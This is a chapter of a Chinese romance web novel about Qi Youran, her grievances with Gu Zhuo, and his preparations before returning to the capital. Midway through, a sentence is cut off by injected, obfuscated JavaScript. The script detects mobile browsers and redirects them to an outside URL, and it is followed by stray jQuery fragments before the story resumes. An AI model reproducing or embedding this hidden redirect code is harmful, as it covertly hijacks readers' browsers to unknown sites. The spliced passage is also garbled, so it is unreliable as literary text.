“他和你们一直有联系吗？”晚饭后，祁悠然捧着一杯热茶问。
“银子补品流水似的送来，更别说时兴的衣料和瓜果了，说了多少次不必，偏是拦不住。”姚玉成叹了一声。
他说着，语气里渐渐染上几分气闷：“我们想着总不能白收，斟酌着回些礼去，你猜他怎么说？‘照顾好她便是。’听听这混账话，倒像我们是因着那些东西才待你好似的！”
祁悠然微微睁大眼睛。
“他先前送的贡燕被人下了毒，阴差阳错之下，我替他受了，想必心里过意不去吧。”陈素馨摇摇头，“当年那些旧事，又怎能全然怪到他一人头上。”
她说着，温和地拍了拍祁悠然的肩膀，转身拿出一个食盒递给她：“刚做的桂花糕。带些回去吧。”
祁悠然回过神，眼中一动。
她打开食盒，桂花的香气氤氲而来。
是一种扎扎实实认真生活的味道。
是她最喜欢的人间烟火气。
.
祁悠然晚上回来时，顾濯站在院外。
星子疏朗，月光稀薄，他的身影孤寂寥落。
“怎么在外头站着？”她脚步顿了顿。
“能早一刻看见你。”他的声音倒显出几分难得的温软。
桂花的香气被夜色酿出醺醺然的醉意。
祁悠然怔了怔，移开眼去，目光落在远处模糊的树影：“你们……几时回京？”
“就这几日了。”他答，声音里辨不出情绪。
她低低应了一声，抬脚进去，经过他身边时，带起一阵细微的风。
“聊聊吧。”她说。
廊下的灯笼转着圈，墙上两道影子被拉得忽长忽短，有一瞬几乎要叠在一处。
一进屋，顾濯便开门见山：“镇国公怀疑你与前朝牵连，此事可大可小。”
他顿了顿，声音更沉：“边关军需粮草，江南赋税漕运，诸多事务，比之你的事更急，他应该不会对你做什么。”
“宋昱那边……”她轻声问。
“我会处理。”顾濯截断她的话，语气有些强硬，“你不必去见。”
祁悠然抬眼看他，烛光在她眼底微微晃动。
“你从前……可不是这样的。”她轻轻叹了口气。
顾濯僵住，半晌，他垂下眼睫，遮住眸中翻涌的情绪，只低声道：“……对不起。”
祁悠然默然，屋内的空气滞涩。
她今日饮了些酒，此刻被那点残存的甜香醺腾着，竟将平日里缄默的心事也翻搅上来。
“我有时觉得自己像头反刍的老牛。”她苦笑，“你现在待我这样好，可我总忍不住把从前那些旧事翻出来，一遍遍地嚼——爱意被全盘否定，付出视若无物，连关切都成了冒犯……”
她的声音里浸着委屈，像踩着沾了霜的落叶，湿冷得教人并不爽利，只觉沉闷。
“我的心眼，天生就又窄又小。”她摇了摇头，像是自嘲，“每念起你如今一分好，从前千百桩不好便自觉涌上来，锱铢必较。你明明……是能做得到这般好的人，为什么当初偏不肯？”
顾濯的嘴唇微微一动，想要辩解，又似无言。他天生一副薄唇，此刻抿着，更显得寡情，偏又配上那样一双深潭似的眼，叫人恨也恨不彻底。
祁悠然抢先一步，话赶话似的，像是怕被他打断就再难说出口：“不要拿以前的经历作借口。他们都在说你昔日如何不易，我也知道你过往经受了诸多苦难，可是……”她顿了顿，声音低下去，“我过去也很苦啊，谁又比谁可怜呢？我就……我就对你很好很好啊。”
她下意识地掰着手指，像是要细数那些早已湮没在尘埃里的付出，旋即又意识到这动作的徒劳与可笑，悻悻然停下，不高兴地耷拉下嘴角，总结道：“这明明就是人的问题。”
顾濯眼中依旧沉黑一片，却露出底下不曾示人的慌与痛来。他深深看着她。
祁悠然眼皮微垂，是种冷然的倔。眼周浮起一层极薄的红，瞳孔因而显得更黑了，幽幽地映着他欲言又止的复杂神情。
顾濯的手指不自觉地蜷了蜷，或许想抬手遮一遮眼，或是抹一抹脸，终究却只是垂在身侧。
他慌张地移过脸去，目光无处安放，最终狼狈地落在她提着的那个食盒上。他的喉结滚动了一下，几乎是仓促地想寻个由头岔开这令人窒息的话题。
祁悠然觉察到他的目光，下意识地将食盒往怀里紧了紧，动作带着点孩子气的、护食般的执拗，唇微微噘起：“不给你。我说过的，我是小气鬼。”
.
第二日祁悠然醒来时，食盒被原封不动搁在一边。
洗漱过后，她静静坐了一会，窗外天光渐亮，终究还是伸出手，打开了食盒。
桂花糕已经凉了，隔夜的糕边发了硬，那香气却还在。
米白的糕点，中间细细撒着蜜饯过的桂花，金黄点点。她瞧着，无端想起阳光正好时，碎金似的日头透过窗棂，洒在人的头发衣服上，也是这般星星点点的细碎微光。
她小口咬着，任那点甜味在舌尖上迟缓地晕开，脑中不由得想起周氏临死前那番话。
“你母亲的遗物，在林府……”
杜兴冠冕堂皇的一番话亦是在脑海中响起。
“为朝廷分忧，是每个‘大梁’子民应尽之责，你说是吗？”
她不由得勾起自嘲的笑。
姜嬷嬷进来时，便看见她拈着块凉掉的糕点，兀自发呆的样子。老人不禁蹙起眉头：“这……都冷掉了，好歹热热再吃啊。怎么心不在焉的？身子不舒服吗？”
祁悠然回过神，轻轻摇了摇头，伸出手抱住了姜嬷嬷。
老人愣了愣，拍拍她的背：“怎么了？”
“我有些困。”祁悠然的声音有些飘忽。
姜嬷嬷不由得哑然失笑。
祁悠然声音还是闷闷的：“我去看看白石。”
一段日子的精心疗养，白石的身子骨总算见了好转，面上也有了血色。
祁悠然过来时，她正对着几样清淡小菜用早膳。祁悠然默默坐下，让侍女多添了一副碗筷。
饭毕，祁悠然突然开口：“白石，你还记得……母亲的遗愿吗？”
白石手上一顿。
“她交代的那些事，就堪堪做完了一桩，我倒是安安稳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338276|175983||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
稳地享受着她留下的东西。也不知道她会不会怪我。”祁悠然叹口气，眼神里带着迷茫。
“为何突然提及这些？小姐，你如今安心落意过日子，何尝不是在完成夫人的愿望？”
“我就说说。”祁悠然唇角牵起一丝极淡的笑意，试图让气氛轻松些。
她起身离开，背影消失在门外。白石看着她的方向，眉头紧紧蹙起。
.
水流蜿蜒而过，清澈冷冽，映着天际的浮云。祁悠然独自立在墓前，风拂动她的裙摆，猎猎作响。
她蹲下身，用绢帕轻轻擦拭着冰凉的碑面。
“我要去吗？我……心里有点害怕……”她低低说着。
四下静寂。
她慢慢闭上眼睛，长长的睫毛在眼下投出淡淡的阴影。合眼时，她许下一个荒唐的赌约：若睁眼时香断，她便去。
风掠过枯黄的草丛，发出簌簌的响声，像是谁的叹息。
祁悠然睁开眼睛，三炷香已经烧了一半，青烟袅袅上升，曲折盘旋，模糊了墓碑上的字迹。
她愣在原地，风掠过她湿润的眼睫，带来一丝凉意。
静默了许久，她终于开口，带着哽咽：“还是……还是去吧，不然，也太不好意思了……”
是哭着说的，声音被风吹得破碎，眼泪里却揉进一个极浅的微笑。
她仔细地整理了一下被风吹乱的衣裙，站直了身子，对着冰冷的墓碑，极郑重地，拜了三拜。
.
天色渐渐暗了下来，远处的树影变成模糊的青黑色。
书房里，烛火跳动，顾濯对着铺开的舆图思索，眉目疏淡，看不出情绪。
案边，摆着一封密报，寥寥数字，却重若千钧——京城发现了北狄探子的踪影。
江烨立在一旁：“侯爷，已经收拾妥当，可随时准备回京。”
顾濯应了一声，指尖拈起那页密报，移近烛火。火舌倏地舔上来，纸角卷曲，焦黑迅速蔓延，他脸上没什么表情，只眼底映着那一点跳跃的光，旋即又黯下去，沉没于深潭。
“祁小姐那边的人手也安排好了。”江烨继续禀报。
顾濯抬眼，目光静而淡，示意他继续。
“按您交代的，挑了四名身手敏捷可靠的婢女，另外拨了一支精锐卫队，暗哨那边也吩咐过了，都会藏在祁小姐住处附近，绝不扰她清静。”
顾濯沉吟片刻：“让姜嬷嬷也跟着她。”老人的经验和忠心总是更让人安心些。
他又补了句：“再同李从南说一声，另外，育婴堂那边也派人暗中关照些。”
半晌，他把舆图卷起，收入简中。又从抽屉深处取出一只扁平的木匣：“我走之后，再让姜嬷嬷给她。”
说罢，他的视线不由得落在远处那盆菖蒲上，眼底罕见地浮现起一丝不易察觉的倦色。
就在这时，门外响起叩门声。
江烨道：“应是祁小姐来了，侯爷不妨当面……”
顾濯垂眼，未等他说完，已抬手将木匣放进案几下的暗格里，“来的不是她，”他淡淡道，声音里听不出波澜，“她过来从不敲门。”
“……”